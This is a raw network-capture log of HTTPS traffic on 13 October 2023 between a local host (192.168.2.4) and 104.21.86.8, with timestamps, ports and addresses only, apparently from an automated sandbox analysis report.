Oct 13, 2023 16:06:11.918140888 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.918163061 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.918170929 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.919941902 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.919967890 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.920001984 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.920008898 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.920036077 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.920043945 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.921364069 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.921392918 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.921427965 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.921433926 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.921469927 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.921488047 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.922281027 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.922308922 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.922339916 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.922347069 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.922373056 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.922380924 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.923088074 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.923108101 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.923146963 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.923154116 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.923182011 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.923194885 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.924597025 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.924616098 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.924659014 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.924665928 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.924694061 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.924714088 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.925414085 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.925432920 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.925484896 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.925491095 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.925529003 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.926428080 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.926455021 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.926490068 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.926496983 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.926523924 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.926537991 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.927671909 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.927690029 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.927726984 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.927732944 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.927758932 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.927776098 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.928504944 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.928523064 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.928555012 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.928561926 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.928589106 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.928599119 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.929687023 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.929706097 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.929739952 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.929745913 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.929771900 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.929781914 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.930834055 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.930854082 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.930891991 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.930898905 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.930926085 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.930939913 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.932290077 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.932307959 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.932373047 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.932379961 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.932403088 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.932421923 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.932686090 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.932704926 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.932738066 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.932743073 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.932771921 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.932780981 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.933475971 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.933495045 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.933532000 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.933538914 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.933563948 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.933645010 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.934513092 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.934530973 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.934576035 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.934581995 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.934607983 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.934621096 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.935530901 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.935556889 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.935595036 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.935601950 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.935630083 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.935641050 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.936605930 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.936626911 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.936660051 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.936666965 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.936691046 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.936703920 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.937731981 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.937755108 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.937793016 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.937798977 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.937824965 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.937841892 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.938610077 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.938627958 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.938663960 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.938671112 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.938699007 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.938711882 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.939749956 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.939769983 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.939824104 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.939831972 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.939868927 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.940788031 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.940805912 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.940850973 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.940857887 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.940885067 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.940895081 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.941469908 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.941488981 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.941556931 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.941556931 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.941564083 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.941600084 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.942480087 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.942497969 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.942553997 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.942560911 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.942593098 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.942605972 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.943587065 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.943605900 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.943641901 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.943648100 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.943675041 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.943684101 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.944515944 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.944535971 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.944571972 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.944581032 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.944603920 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.944618940 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.945645094 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.945666075 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.945698977 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.945730925 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.945739985 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.945779085 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.946511984 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.946532011 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.946568012 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.946576118 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.946600914 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.946619034 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.947810888 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.947829962 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.947868109 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.947874069 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.947901964 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.947915077 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.948761940 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.948782921 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.948816061 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.948823929 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.948851109 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.948863983 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.949882984 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.949902058 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.949959040 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.949959040 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.949965954 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.950071096 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.950809002 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.950834990 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.950920105 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.950928926 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.950965881 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.951781034 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.951801062 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.951889992 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.951896906 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.951910019 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.951965094 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.952698946 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.952717066 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.952775955 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.952781916 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.952811003 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.952826977 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.953717947 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.953737974 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.953797102 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.953804016 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.953841925 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.954540014 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.954560041 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.954590082 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.954595089 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.954621077 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.954633951 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.955642939 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.955662012 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.955692053 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.955698013 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.955724001 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.955743074 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.956558943 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.956578016 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.956610918 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.956618071 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.956643105 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.956662893 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.957571983 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.957592010 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.957618952 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.957624912 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.957647085 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.957657099 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.958530903 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.958549976 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.958576918 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.958584070 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.958609104 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.958631992 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.959455013 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.959474087 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.959505081 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.959510088 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.959534883 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.959547997 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.960436106 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.960457087 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.960530043 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.960537910 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.960576057 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.961386919 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.961405993 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.961460114 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.961468935 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.961505890 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.962305069 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.962323904 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.962364912 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.962372065 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.962398052 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.962414980 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.963267088 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.963285923 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.963356018 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.963366032 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.963402033 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.964615107 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.964637041 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.964679956 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.964688063 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.964711905 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.964725971 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.965379953 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.965410948 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.965445995 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.965454102 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.965478897 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.965488911 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.974313021 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.974334955 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.974396944 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.974409103 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.974446058 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.974467993 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.974961042 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.974980116 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.975013971 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.975022078 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.975047112 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.975115061 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.975863934 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.975882053 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.975934982 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.975944996 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.975986004 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.976804972 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.976824045 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.976870060 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.976876974 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.976912022 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.978142023 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.978162050 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.978224039 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.978233099 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.978279114 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.978907108 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.978929043 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.978979111 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.978987932 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.979002953 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.979027033 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.979304075 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.979322910 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.979357958 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.979366064 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.979391098 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.979406118 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.981421947 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.981441975 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.981504917 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.981513023 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.981528044 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.981549025 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.981554985 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.981570959 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.981585026 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.981609106 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.981631041 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.982058048 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.982076883 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.982119083 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.982126951 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.982151985 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.982177019 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.983455896 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.983474970 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.983521938 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.983529091 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.983563900 CEST	49779	443	192.168.2.4	104.21.86.8
